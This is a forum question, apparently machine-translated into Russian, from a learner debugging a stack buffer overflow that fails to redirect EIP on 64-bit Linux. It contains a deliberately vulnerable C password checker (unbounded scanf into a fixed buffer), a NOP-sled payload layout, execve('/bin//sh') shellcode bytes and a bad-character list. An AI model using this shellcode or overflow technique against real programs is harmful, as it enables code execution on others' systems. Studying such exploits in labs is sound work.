Простое переполнение буфера, перезапись EIP не работает

Я бы спросил об этом на stackexchange, но я задавал подобные вопросы об этой проблеме не столько в комментарии, сколько в комментариях, я чувствую, что здесь я получу лучшие результаты.

Я пытался использовать этот код переполнения буфера в течение нескольких недель, я просто не знаю, в чем хитрость!

Я контролирую EIP при перезаписи с помощью \x41 или любого другого символа, но когда я пытаюсь перезаписать адрес возврата действительным адресом, SIGSEGV указывает на другой адрес, адрес, который перехватывает SIGSEGV, действительно содержит весь мой шелл-код и мой 41-й и т.д.

У меня есть защита стека отключения, и стек RWE, я также проверил наличие плохих символов и нашел код оболочки, который не содержит никаких плохих символов. Если бы кто-нибудь мог помочь, это было бы признательно, так как я хочу прогрессировать, а онлайн-ресурсы, похоже, не охватывают мою проблему. Я прочитал Smashing the stack для развлечения и получения прибыли и понимаю основы, очень минимальные основы сборки, я прочитал большинство руководств в Интернете, они по большей части избыточны, я читал все статьи о стеке, которые я считаю относящимися к моему сценарию, пожалуйста кто-нибудь из вас, профессионалы, попытается понять, в чем моя проблема.

uname -вывод:

Linux windows 4.14.15-1-ARCH #1 SMP PREEMPT Tue Jan 23 21:49:25 UTC 2018 x86_64 GNU/Linux

Вот код:

#include <stdio.h>
#include <stdlib.h>
#include <string.h>

void validate(char *pass) {
    if (strcmp(pass, "[REDACTED]") == 0) {
        printf("ACCESS GRANTED!");
        printf("Oh that's just idio... Oh my god!\n");
    } else {
        printf("Damn it, I had something for this...\n");
    }
}

int main(int argc, char** argv) {
    char password[200];
    printf("C:/ENTER PASSWORD: ");
    scanf("%s", password);
    validate(password);
    return 0;
}

Вот Payload, содержащий шеллкод, 28 байт:

payload = "\x90"*132+ret+shell+"A"*44

вот шеллкод:

\x50\x48\x31\xd2\x48\x31\xf6\x48\xbb\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x53\x54\x5f\xb0\x3b\x0f\x05

Бадчары это:

totalbad = "\x09\x0a\x0b\x0c\x0d\x20"